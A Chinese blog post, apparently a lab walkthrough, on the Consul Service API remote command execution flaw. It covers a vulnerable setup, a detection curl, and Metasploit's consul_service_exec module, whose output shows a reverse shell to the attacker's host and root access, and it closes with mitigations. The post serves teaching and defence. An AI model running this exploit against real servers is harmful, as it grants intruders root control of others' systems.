LOFTER for ipad —— 让兴趣,更有趣

点击下载 关闭
Consul Service API远程命令执行漏洞利用

简介

Consu 是 HashiCorp 公司推出的开源工具,用于实现分布式系统的服务发现与配置。与其他分布式服务注册与发现的方案,Consul 的方案更“一站式”,内置了服务注册与发现框架、分布一致性协议实现、健康检查、Key/Value 存储、多数据中心方案,不再需要依赖其他工具(比如 ZooKeeper 等),使用起来也较为简单。 

Consul 使用 Go 语言编写,因此具有天然可移植性(支持 Linux、windows 和 Mac OS X);安装包仅包含一个可执行文件,方便部署,与 Docker 等轻量级容器可无缝配合。

2018 年 11 月 27 日,Consul 在其博客中发布了关于Consul 在特定配置下可能导致 RCE 漏洞,并描述了如何进行配置以防护该漏洞


下载与安装

下载地址:https://www.consul.io

选择需要的平台安装包下载安装,以下以CentOS环境为例

# unzip consul_1.5.2_linux_amd64.zip

# cd consul

# cp -rp consul /bin/

创建配置文件

consul_config.json

{

  "datacenter": "consul-cluster",

  "node_name": "consul01",

  "server": true,

  "bind_addr": "10.10.10.7",

  "bootstrap_expect": 5,

  "data_dir": "/data/consul/data",

  "http_config": {

    "response_headers": {

      "Access-Control-Allow-Origin": "*"

    }

  },

  "log_level": "INFO",

  "enable_syslog": true,

  "ports": {

    "http": 8500,

    "dns": 8600,

    "serf_lan": 8301,

    "serf_wan": 8302

  },

  "enable_script_checks": true

}

启动服务

# consul agent -config-dir=/opt/consul.d  -ui -client 0.0.0.0

确认服务状态

# consul members

Node      Address          Status  Type    Build  Protocol  DC              Segment

consul01  10.10.10.7:8301  alive   server  1.5.2  2         consul-cluster  <all>


漏洞检测

# curl --request GET https://10.10.10.7:8500/v1/agent/self

说明漏洞存在,如果出现

"EnableRemoteScriptChecks":false

说明,不存在该漏洞

漏洞利用

msf中已有漏洞利用脚本

msf5 > use exploit/multi/misc/consul_service_exec

msf5 exploit(multi/misc/consul_service_exec) > run


[*] Started reverse TCP handler on 10.10.10.4:4444

[*] Creating service 'HnKlN'

[*] Sending stage (985320 bytes) to 10.10.10.7

[*] Meterpreter session 1 opened (10.10.10.4:4444 -> 10.10.10.7:41672) at 2019-07-01 10:17:03 +0800

[*] Service 'HnKlN' successfully created.

[*] Waiting for service 'HnKlN' script to trigger

[*] Removing service 'HnKlN'

[*] Command Stager progress - 100.00% done (763/763 bytes)

meterpreter > 

meterpreter > shell

Process 14438 created.

Channel 1 created.

python -c 'import pty;pty.spawn("/bin/bash")' 

[root@CentOS-10 consul.d]# whoami

whoami

root

[root@CentOS-10 consul.d]# id

id

uid=0(root) gid=0(root) groups=0(root)

[root@CentOS-10 consul.d]# 

成功!


漏洞修复方法

1)更改-enable-script-checks 为- enable-local-script-checks

2)禁用Consul服务器上的脚本检查

3)确保ConsulHTTP API 不可外网访问

4)如果尚未启用ACL,则启用 ACL

推荐文章
评论(0)
分享到
转载我的主页